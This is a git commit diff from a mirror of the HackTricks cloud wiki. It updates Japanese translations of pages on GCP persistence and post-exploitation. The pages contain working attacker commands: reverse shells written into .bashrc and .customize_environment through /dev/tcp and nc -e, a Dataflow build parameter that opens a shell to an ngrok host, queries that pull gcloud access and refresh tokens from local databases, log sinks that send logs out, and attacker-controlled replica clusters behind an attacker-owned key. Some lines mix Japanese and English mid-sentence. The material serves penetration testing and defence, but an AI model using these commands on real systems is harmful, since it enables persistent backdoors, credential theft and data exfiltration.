mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 19:11:41 -08:00
Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/
This commit is contained in:
@@ -1,20 +1,24 @@
|
||||
# GCP - Bigtable 永続化
|
||||
# GCP - Bigtable Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Bigtable
|
||||
|
||||
Bigtable に関する詳細は次を参照してください:
|
||||
Bigtableの詳細については次を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-bigtable-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### 攻撃者専用 App Profile
|
||||
### Dedicated attacker App Profile
|
||||
|
||||
**権限:** `bigtable.appProfiles.create`, `bigtable.appProfiles.update`.
|
||||
|
||||
トラフィックを自分の replica cluster にルーティングする app profile を作成し、Data Boost を有効化して、検出されやすい provisioned nodes に依存しないようにします。
|
||||
トラフィックを replica cluster にルーティングする app profile を作成し、Data Boost を有効にして、defenders に気づかれる可能性のある provisioned nodes に依存しないようにします。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>ステルスな app profile を作成</summary>
|
||||
```bash
|
||||
gcloud bigtable app-profiles create stealth-profile \
|
||||
--instance=<instance-id> --route-any --restrict-to=<attacker-cluster> \
|
||||
@@ -24,29 +28,43 @@ gcloud bigtable app-profiles update stealth-profile \
|
||||
--instance=<instance-id> --data-boost \
|
||||
--data-boost-compute-billing-owner=HOST_PAYS
|
||||
```
|
||||
このプロファイルが存在する限り、それを参照する新しい認証情報で再接続できます。
|
||||
</details>
|
||||
|
||||
### 自分用のレプリカクラスターを維持する
|
||||
このプロファイルが存在する限り、それを参照する新しい資格情報を使って再接続できます。
|
||||
|
||||
### 自分のレプリカ クラスターを維持する
|
||||
|
||||
**権限:** `bigtable.clusters.create`, `bigtable.instances.update`, `bigtable.clusters.list`.
|
||||
|
||||
静かなリージョンに最小ノード数のクラスターをプロビジョニングします。クライアントの識別情報が消えても、**クラスターはすべてのテーブルの完全なコピーを保持し続けます**。防御側が明示的に削除するまでは。
|
||||
静かなリージョンに最小ノード数のクラスターをプロビジョニングします。クライアント識別情報が消えても、**クラスターはすべてのテーブルの完全なコピーを保持し続けます**。防御者が明示的に削除するまで。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>レプリカ クラスターを作成</summary>
|
||||
```bash
|
||||
gcloud bigtable clusters create dark-clone \
|
||||
--instance=<instance-id> --zone=us-west4-b --num-nodes=1
|
||||
```
|
||||
データを引き出す必要があるときに即座にスケールアップできるよう、`gcloud bigtable clusters describe dark-clone --instance=<instance-id>` で監視しておく。
|
||||
</details>
|
||||
|
||||
### レプリケーションを自前の CMEK で保護する
|
||||
データを引き出す必要があるときに即座にスケールアップできるよう、`gcloud bigtable clusters describe dark-clone --instance=<instance-id>` で監視しておきます。
|
||||
|
||||
**権限:** `bigtable.clusters.create`, `cloudkms.cryptoKeyVersions.useToEncrypt` on the attacker-owned key.
|
||||
### レプリケーションを自分の CMEK の背後にロックする
|
||||
|
||||
クローンを起動する際は自分の KMS key を持ち込む。そのキーがなければ Google はクラスタを再作成したりフェイルオーバーしたりできないため、blue teams は触る前にあなたと調整しなければならない。
|
||||
**Permissions:** `bigtable.clusters.create`, `cloudkms.cryptoKeyVersions.useToEncrypt`(攻撃者所有のキーに対して)
|
||||
|
||||
クローンを作成するときは自分の KMS キーを持ち込みます。そのキーがなければ Google はクラスタを再作成したりフェイルオーバーしたりできないため、blue teams は触る前にあなたと調整する必要があります。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>CMEK で保護されたクラスタを作成</summary>
|
||||
```bash
|
||||
gcloud bigtable clusters create cmek-clone \
|
||||
--instance=<instance-id> --zone=us-east4-b --num-nodes=1 \
|
||||
--kms-key=projects/<attacker-proj>/locations/<kms-location>/keyRings/<ring>/cryptoKeys/<key>
|
||||
```
|
||||
プロジェクト内のkeyをローテーションするか無効化して、replicaを即座にbrickします(後で再度有効化できるようにしておけます)。
|
||||
</details>
|
||||
|
||||
プロジェクト内の key をローテートするか無効化すると、replica を即座に brick できます(後で再度オンに戻すことも可能です)。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,58 +1,76 @@
|
||||
# GCP - Cloud Shell Persistence
|
||||
# GCP - Cloud Shell 永続化
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cloud Shell
|
||||
|
||||
詳細については、次を確認してください:
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-shell-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistent Backdoor
|
||||
### 永続的な Backdoor
|
||||
|
||||
[**Google Cloud Shell**](https://cloud.google.com/shell/) は、関連するコストなしにブラウザから直接クラウドリソースへのコマンドラインアクセスを提供します。
|
||||
[**Google Cloud Shell**](https://cloud.google.com/shell/) は、ブラウザから直接クラウドリソースにコマンドラインでアクセスでき、料金は発生しません。
|
||||
|
||||
**ウェブコンソール**からまたは**`gcloud cloud-shell ssh`**を実行することでGoogleのCloud Shellにアクセスできます。
|
||||
You can access Google's Cloud Shell from the **web console** or running **`gcloud cloud-shell ssh`**.
|
||||
|
||||
このコンソールには攻撃者にとって興味深い機能があります:
|
||||
This console has some interesting capabilities for attackers:
|
||||
|
||||
1. **Google Cloudにアクセスできる任意のGoogleユーザー**は、完全に認証されたCloud Shellインスタンスにアクセスできます(サービスアカウントは、組織のオーナーであってもアクセス可能です)。
|
||||
2. そのインスタンスは**活動がない場合、少なくとも120日間はホームディレクトリを維持します**。
|
||||
3. そのインスタンスの活動を**組織が監視する能力はありません**。
|
||||
1. **Any Google user with access to Google Cloud** has access to a fully authenticated Cloud Shell instance (Service Accounts can, even being Owners of the org).
|
||||
2. Said instance will **maintain its home directory for at least 120 days** if no activity happens.
|
||||
3. There is **no capabilities for an organisation to monitor** the activity of that instance.
|
||||
|
||||
これは基本的に、攻撃者がユーザーのホームディレクトリにバックドアを設置でき、ユーザーが少なくとも120日ごとにGC Shellに接続する限り、バックドアは生き残り、攻撃者は実行するたびにシェルを取得できることを意味します。
|
||||
これは基本的に、攻撃者がユーザーのホームディレクトリに backdoor を置くことができ、ユーザーが少なくとも120日ごとに GC Shell に接続する限り backdoor は存続し、攻撃者は実行するたびにシェルを得ることができるということを意味します。単に次の操作を行うだけです:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Add reverse shell to .bashrc</summary>
|
||||
```bash
|
||||
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc
|
||||
```
|
||||
ホームフォルダには **`.customize_environment`** という別のファイルがあり、存在する場合はユーザーが **cloud shell** にアクセスするたびに **実行されます**(前の技術と同様に)。前のバックドアや、以下のようなものを挿入して、ユーザーが「頻繁に」cloud shell を使用している限り、持続性を維持します:
|
||||
</details>
|
||||
|
||||
ホームフォルダに **`.customize_environment`** という別のファイルがあり、存在する場合は、ユーザーが **cloud shell** にアクセスするたびに **実行されます**(前の手法と同様)。前述の backdoor を挿入するか、以下のようなものを入れておけば、ユーザーが「頻繁に」**cloud shell** を使用する限り persistence を維持できます:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>.customize_environment backdoor を作成</summary>
|
||||
```bash
|
||||
#!/bin/sh
|
||||
apt-get install netcat -y
|
||||
nc <LISTENER-ADDR> 443 -e /bin/bash
|
||||
```
|
||||
> [!WARNING]
|
||||
> **認証を必要とするアクションが最初に実行されるとき**、ユーザーのブラウザにポップアップ認証ウィンドウが表示されることに注意することが重要です。このウィンドウは、コマンドを実行する前に受け入れられなければなりません。予期しないポップアップが表示された場合、疑念を引き起こし、使用されている持続性メソッドが危険にさらされる可能性があります。
|
||||
</details>
|
||||
|
||||
これは、クラウドシェルから `gcloud projects list` を実行したときのポップアップ(攻撃者として)で、ブラウザのユーザーセッションで表示されます:
|
||||
> [!WARNING]
|
||||
> 注意: **認証を要する操作が初めて実行される際**、ユーザーのブラウザに承認用のポップアップウィンドウが表示されることに注意してください。このウィンドウはコマンドを実行する前に承認される必要があります。予期しないポップアップが表示されると、疑いを招き、使用している永続化方法が露呈する可能性があります。
|
||||
|
||||
This is the pop-up from executing `gcloud projects list` from the cloud shell (as attacker) viewed in the browsers user session:
|
||||
|
||||
<figure><img src="../../../images/image (10).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
ただし、ユーザーがクラウドシェルを積極的に使用している場合、ポップアップは表示されず、**ユーザーのトークンを収集することができます**:
|
||||
However, if the user has actively used the cloudshell, the pop-up won't appear and you can **ユーザーのトークンを収集することができます**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Cloud Shell からアクセス トークンを取得する</summary>
|
||||
```bash
|
||||
gcloud auth print-access-token
|
||||
gcloud auth application-default print-access-token
|
||||
```
|
||||
</details>
|
||||
|
||||
#### SSH接続の確立方法
|
||||
|
||||
基本的に、これらの3つのAPIコールが使用されます:
|
||||
基本的に、以下の3つのAPIコールが使用されます:
|
||||
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (ローカルで作成した公開鍵を追加します)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (インスタンスを起動します)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (Google Cloud ShellのIPを教えてくれます)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (google cloud shell のIPを返します)
|
||||
|
||||
さらに詳しい情報は、[https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)で見つけることができます。
|
||||
詳細は [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key) を参照してください。
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
||||
@@ -1,12 +1,16 @@
|
||||
# GCP - Dataflow Persistence
|
||||
# GCP - Dataflow 永続化
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Dataflow
|
||||
|
||||
### ビルドコンテナ内の見えない永続性
|
||||
### ビルド済みコンテナ内の不可視の永続化
|
||||
|
||||
[**ドキュメントからのチュートリアル**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates)に従って、新しい(例:python)フレックステンプレートを作成できます:
|
||||
ドキュメントの[**tutorial from the documentation**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates)に従うと、新しい(例: python)flex template を作成できます:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>backdoor を組み込んだ Dataflow flex template の作成</summary>
|
||||
```bash
|
||||
git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git
|
||||
cd python-docs-samples/dataflow/flex-templates/getting_started
|
||||
@@ -36,9 +40,15 @@ gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
|
||||
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
|
||||
--region=us-central1
|
||||
```
|
||||
**ビルド中に、リバースシェルを取得します**(前の例のように環境変数やDockerファイルを実行するための他のパラメータを悪用することができます)。この時点で、リバースシェル内で**`/template`ディレクトリに移動し、実行されるメインのPythonスクリプトのコードを修正することが可能です(この例では`getting_started.py`です)**。ここにバックドアを設定して、ジョブが実行されるたびにそれを実行させます。
|
||||
</details>
|
||||
|
||||
次に、ジョブが実行されると、構築されたコンテナが実行されます:
|
||||
**ビルド中に reverse shell を取得します** (前の例と同様に env variables を悪用したり、Docker file に任意のコマンドを実行させるパラメータを使ったりできます)。この時点で reverse shell の中から、**`/template` ディレクトリに移動して、実行されるメインの python スクリプト(この例では `getting_started.py`)のコードを修正することができます**。ここに backdoor を仕込んでおけば、ジョブが実行されるたびにそれが実行されます。
|
||||
|
||||
次回ジョブが実行されると、改ざんされたコンテナが実行されます:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Run Dataflow template</summary>
|
||||
```bash
|
||||
# Run template
|
||||
gcloud dataflow $NAME_TEMPLATE run testing \
|
||||
@@ -46,4 +56,6 @@ gcloud dataflow $NAME_TEMPLATE run testing \
|
||||
--parameters=output="gs://$REPOSITORY/out" \
|
||||
--region=us-central1
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# GCP - ロギングの永続性
|
||||
# GCP - ログの永続化
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ロギング
|
||||
## ログ
|
||||
|
||||
ロギングに関する詳細情報は以下を参照してください:
|
||||
ログに関する詳細は次を参照:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-logging-enum.md
|
||||
@@ -12,8 +12,14 @@
|
||||
|
||||
### `logging.sinks.create`
|
||||
|
||||
攻撃者がアクセス可能な宛先にログを外部に送信するためのシンクを作成します:
|
||||
攻撃者がアクセス可能な宛先へログを外部送信するための sink を作成します:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>ログの sink を作成</summary>
|
||||
```bash
|
||||
gcloud logging sinks create <sink-name> <destination> --log-filter="FILTER_CONDITION"
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,51 +1,79 @@
|
||||
# GCP - トークン持続性
|
||||
# GCP - トークンの永続化
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### 認証されたユーザートークン
|
||||
### 認証済みユーザートークン
|
||||
|
||||
ユーザーの**現在のトークン**を取得するには、次のコマンドを実行できます:
|
||||
ユーザーの**現在のトークン**を取得するには、次を実行します:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Get access token from SQLite database</summary>
|
||||
```bash
|
||||
sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"
|
||||
```
|
||||
このページで**gcloudを使用してこのトークンを直接使用する方法**を確認してください:
|
||||
</details>
|
||||
|
||||
このページで **directly use this token using gcloud** の方法を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#gcp
|
||||
{{#endref}}
|
||||
|
||||
**新しいアクセストークンを生成する**ための詳細を取得するには、次のコマンドを実行します:
|
||||
**generate a new access token** の詳細を取得するには、次を実行してください:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>SQLite データベースから refresh token を取得</summary>
|
||||
```bash
|
||||
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"
|
||||
```
|
||||
**`$HOME/.config/gcloud/application_default_credentials.json`** および **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`** でリフレッシュトークンを見つけることも可能です。
|
||||
</details>
|
||||
|
||||
**リフレッシュトークン**、クライアントID、およびクライアントシークレットを使用して新しいアクセストークンを取得するには、次のコマンドを実行します:
|
||||
また、refresh tokens は **`$HOME/.config/gcloud/application_default_credentials.json`** および **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`** に見つかることがあります。
|
||||
|
||||
新しい access token を **refresh token**、client ID、client secret を使って取得するには、次を実行します:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>refresh token を使って新しい access token を取得する</summary>
|
||||
```bash
|
||||
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
|
||||
```
|
||||
リフレッシュトークンの有効性は **Admin** > **Security** > **Google Cloud session control** で管理でき、デフォルトでは16時間に設定されていますが、期限切れにならないように設定することもできます:
|
||||
</details>
|
||||
|
||||
リフレッシュトークンの有効期間は **Admin** > **Security** > **Google Cloud session control** で管理でき、デフォルトでは16時間に設定されていますが、無期限に設定することもできます:
|
||||
|
||||
<figure><img src="../../../images/image (11).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Auth flow
|
||||
### 認証フロー
|
||||
|
||||
`gcloud auth login` のようなものを使用する際の認証フローは、ブラウザでプロンプトを開き、すべてのスコープを承認した後、ブラウザがツールによって開かれたhttpポートにこのようなリクエストを送信します:
|
||||
`gcloud auth login` のようなコマンドを使うと、ブラウザでプロンプトが開き、すべてのスコープを承認すると、ブラウザはツールが開いている http ポートに対して次のようなリクエストを送ります:
|
||||
```
|
||||
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
|
||||
```
|
||||
その後、gcloudは状態とコードを使用して、いくつかのハードコーディングされた `client_id` (`32555940559.apps.googleusercontent.com`) と **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) を使って **最終的なリフレッシュトークンデータ** を取得します。
|
||||
Then, gcloud will use the state and code with a some hardcoded `client_id` (`32555940559.apps.googleusercontent.com`) and **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) to get the **final refresh token data**.
|
||||
|
||||
> [!CAUTION]
|
||||
> localhostとの通信はHTTPで行われるため、リフレッシュトークンを取得するためにデータを傍受することが可能ですが、このデータは1回だけ有効であるため、無駄になります。ファイルからリフレッシュトークンを読む方が簡単です。
|
||||
> localhost との通信は HTTP で行われるため、データを傍受して refresh token を取得することは可能です。ただしこのデータは一度きりしか有効ではないため無意味であり、ファイルから refresh token を読むほうが簡単です。
|
||||
|
||||
### OAuthスコープ
|
||||
### OAuth Scopes
|
||||
|
||||
すべてのGoogleスコープは [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) で見つけることができます。または、次のコマンドを実行して取得できます:
|
||||
You can find all Google scopes in [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) or get them executing:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Get all Google OAuth scopes</summary>
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
|
||||
```
|
||||
このスクリプトを使用すると、**`gcloud`** が認証に使用するアプリケーションがサポートできるスコープを確認できます:
|
||||
</details>
|
||||
|
||||
このスクリプトを使うと、**`gcloud`** が認証に使用するアプリケーションがサポートできるスコープを確認できます:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>gcloud がサポートするスコープをテスト</summary>
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
|
||||
echo -ne "Testing $scope \r"
|
||||
@@ -55,7 +83,9 @@ echo $scope
|
||||
fi
|
||||
done
|
||||
```
|
||||
このアプリがこれらのスコープをサポートしていることが確認されました:
|
||||
</details>
|
||||
|
||||
実行後、このアプリが次のスコープをサポートしていることが確認されました:
|
||||
```
|
||||
https://www.googleapis.com/auth/appengine.admin
|
||||
https://www.googleapis.com/auth/bigquery
|
||||
@@ -65,22 +95,22 @@ https://www.googleapis.com/auth/devstorage.full_control
|
||||
https://www.googleapis.com/auth/drive
|
||||
https://www.googleapis.com/auth/userinfo.email
|
||||
```
|
||||
このアプリが**`drive`**スコープをサポートしているのは興味深いことであり、攻撃者がユーザーにこのスコープでトークンを生成させることに成功すれば、GCPからWorkspaceにエスカレートすることが可能になります。
|
||||
このアプリが **`drive`** スコープをサポートしているのは興味深い。攻撃者がユーザーにこのスコープでトークンを生成させるよう強制できれば、ユーザーが GCP から Workspace にエスカレートする可能性がある。
|
||||
|
||||
**こちらで** [**この悪用方法を確認してください**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**。**
|
||||
**これを悪用する方法は** [**abuse this here**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**。**
|
||||
|
||||
### サービスアカウント
|
||||
|
||||
認証されたユーザーと同様に、サービスアカウントの**プライベートキーのファイルを侵害**することができれば、**通常は望む限りアクセスすることができます**。\
|
||||
しかし、サービスアカウントの**OAuthトークンを盗むことができれば、さらに興味深いことになります。なぜなら、デフォルトではこれらのトークンは通常1時間だけ有効ですが、**もし**被害者がプライベートAPIキーを削除した場合、OAuthトークンは有効期限が切れるまで有効であり続けるからです**。
|
||||
認証済みユーザーの場合と同様に、サービスアカウントの**プライベートキー ファイルを侵害(compromise)**できれば、そのアカウントに**通常は望む限りアクセスできる**。\
|
||||
しかし、サービスアカウントの**OAuth token**を盗むとさらに厄介になることがある。通常これらのトークンは1時間ほどしか有効ではないが、**被害者がプライベート API キーを削除しても、OAuth トークンは期限切れになるまで有効なままである**。
|
||||
|
||||
### メタデータ
|
||||
|
||||
明らかに、GCP環境で実行されているマシン内にいる限り、**メタデータエンドポイントに連絡することで、そのマシンに接続されたサービスアカウントにアクセスすることができます**(このエンドポイントでアクセスできるOAuthトークンは通常スコープによって制限されていることに注意してください)。
|
||||
明らかに、GCP 環境で動作しているマシン内にいる限り、**メタデータエンドポイントに問い合わせてそのマシンに紐づいたサービスアカウントにアクセスできる**(このエンドポイントで取得できる OAuth トークンは通常スコープで制限されている点に注意)。
|
||||
|
||||
### 修正策
|
||||
### 対策
|
||||
|
||||
これらの技術に対するいくつかの修正策は、[https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)で説明されています。
|
||||
これらの手法に対するいくつかの対策は [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2) に説明されている
|
||||
|
||||
### 参考文献
|
||||
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# GCP - ストレージの永続性
|
||||
# GCP - Storage 永続化
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ストレージ
|
||||
## Storage
|
||||
|
||||
Cloud Storageに関する詳細情報は、以下を確認してください:
|
||||
Cloud Storageについての詳細は次を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-storage-enum.md
|
||||
@@ -12,7 +12,11 @@ Cloud Storageに関する詳細情報は、以下を確認してください:
|
||||
|
||||
### `storage.hmacKeys.create`
|
||||
|
||||
バケット上で永続性を維持するためにHMACを作成できます。この技術に関する詳細は[**こちらを確認してください**](../gcp-privilege-escalation/gcp-storage-privesc.md#storage.hmackeys.create)。
|
||||
bucketに対する永続性を維持するためにHMACを作成できます。 この手法の詳細については[**こちらを参照**](../gcp-privilege-escalation/gcp-storage-privesc.md#storage.hmackeys.create)。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Storageアクセス用のHMACキーの作成と利用</summary>
|
||||
```bash
|
||||
# Create key
|
||||
gsutil hmac create <sa-email>
|
||||
@@ -23,11 +27,13 @@ gsutil config -a
|
||||
# Use it
|
||||
gsutil ls gs://[BUCKET_NAME]
|
||||
```
|
||||
別のこの方法のエクスプロイトスクリプトは[こちら](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py)で見つけることができます。
|
||||
</details>
|
||||
|
||||
### 公開アクセスを与える
|
||||
この手法の別のエクスプロイトスクリプトは [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py) で確認できます。
|
||||
|
||||
**バケットを公開可能にする**ことは、バケットへのアクセスを維持する別の方法です。方法については以下を確認してください:
|
||||
### パブリックアクセスを付与
|
||||
|
||||
**bucket を公開アクセス可能にすること** は、bucket へのアクセスを維持するもう一つの方法です。方法は以下を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-storage-post-exploitation.md
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## `App Engine`
|
||||
|
||||
App Engineに関する情報は次を確認してください:
|
||||
For information about App Engine check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-app-engine-enum.md
|
||||
@@ -12,30 +12,36 @@ App Engineに関する情報は次を確認してください:
|
||||
|
||||
### `appengine.memcache.addKey` | `appengine.memcache.list` | `appengine.memcache.getKey` | `appengine.memcache.flush`
|
||||
|
||||
これらの権限を使用すると、次のことが可能です:
|
||||
With these permissions it's possible to:
|
||||
|
||||
- キーを追加
|
||||
- キーをリスト
|
||||
- キーを取得
|
||||
- 削除
|
||||
- キーを追加する
|
||||
- キーを一覧表示する
|
||||
- キーを取得する
|
||||
- 削除する
|
||||
|
||||
> [!CAUTION]
|
||||
> しかし、**cliからこの情報にアクセスする方法は見つかりませんでした**。**ウェブコンソール**からのみアクセス可能で、**キータイプ**と**キー名**を知っている必要があります。または、**アプリエンジンで実行中のアプリ**からです。
|
||||
> しかし、私は **couldn't find any way to access this information from the cli**, からのみ **web console** で、そこで **Key type** と **Key name** を知っている必要があり、または a**pp engine running app** からしかアクセスできませんでした。
|
||||
>
|
||||
> これらの権限を使用する簡単な方法を知っている場合は、プルリクエストを送信してください!
|
||||
> これらの権限を使用するより簡単な方法をご存知の場合は、Pull Request を送ってください!
|
||||
|
||||
### `logging.views.access`
|
||||
|
||||
この権限を使用すると、**アプリのログを見ることができます**:
|
||||
With this permission it's possible to **see the logs of the App**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Tail app logs</summary>
|
||||
```bash
|
||||
gcloud app logs tail -s <name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### ソースコードを読む
|
||||
|
||||
すべてのバージョンとサービスのソースコードは、**`staging.<proj-id>.appspot.com`**という名前の**バケット**に**保存されています**。書き込みアクセスがあれば、ソースコードを読み、**脆弱性**や**機密情報**を探すことができます。
|
||||
すべてのバージョンとサービスのソースコードは、名前が **`staging.<proj-id>.appspot.com`** の **bucket** に格納されています。書き込み権限がある場合、ソースコードを読み、**vulnerabilities** や **sensitive information** を検索できます。
|
||||
|
||||
### ソースコードを変更する
|
||||
### ソースコードの変更
|
||||
|
||||
資格情報が送信されている場合はそれを盗むためにソースコードを変更するか、改ざんウェブ攻撃を実行します。
|
||||
送信されている場合は **credentials** を盗むためにソースコードを改変したり、**defacement web attack** を実行したりできます。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,37 +4,53 @@
|
||||
|
||||
## Bigtable
|
||||
|
||||
Bigtable の詳細は次を参照してください:
|
||||
Bigtable の詳細については次を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-bigtable-enum.md
|
||||
{{#endref}}
|
||||
|
||||
> [!TIP]
|
||||
> 以下のコマンドをローカルで動作させるため、`cbt` CLI を Cloud SDK 経由で一度インストールしてください:
|
||||
> `cbt` CLI を Cloud SDK を通じて一度インストールしておくと、以下のコマンドがローカルで動作します:
|
||||
>
|
||||
> <details>
|
||||
>
|
||||
> <summary>cbt CLI をインストール</summary>
|
||||
>
|
||||
> ```bash
|
||||
> gcloud components install cbt
|
||||
> ```
|
||||
>
|
||||
> </details>
|
||||
|
||||
### 行の読み取り
|
||||
### 行を読み取る
|
||||
|
||||
**権限:** `bigtable.tables.readRows`
|
||||
**Permissions:** `bigtable.tables.readRows`
|
||||
|
||||
`cbt` は Cloud SDK に同梱されており、ミドルウェアを必要とせず管理/データ API に直接アクセスできます。侵害されたプロジェクト/インスタンスを指定してテーブルから直接行をダンプしてください。ちらっと見るだけならスキャン範囲を制限してください。
|
||||
`cbt` は Cloud SDK と一緒に提供され、ミドルウェアを必要とせずに admin/data APIs とやり取りします。compromised project/instance を指定してテーブルから直接行をダンプできます。覗き見程度で十分ならスキャンを制限してください。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Bigtable のエントリを読み取る</summary>
|
||||
```bash
|
||||
# Install cbt
|
||||
gcloud components update
|
||||
gcloud components install cbt
|
||||
|
||||
# Read entries with creds of gcloud
|
||||
# Read entries with creds of gcloud
|
||||
cbt -project=<victim-proj> -instance=<instance-id> read <table-id>
|
||||
```
|
||||
</details>
|
||||
|
||||
### 行の書き込み
|
||||
|
||||
**Permissions:** `bigtable.tables.mutateRows`, (変更を確認するには `bigtable.tables.readRows` が必要です)。
|
||||
**権限:** `bigtable.tables.mutateRows`, (変更を確認するには `bigtable.tables.readRows` が必要です)。
|
||||
|
||||
同じツールを使って任意のセルを upsert できます。これは configs に backdoor を仕込み、web shells を drop したり、poisoned dataset rows を植える最も手早い方法です。
|
||||
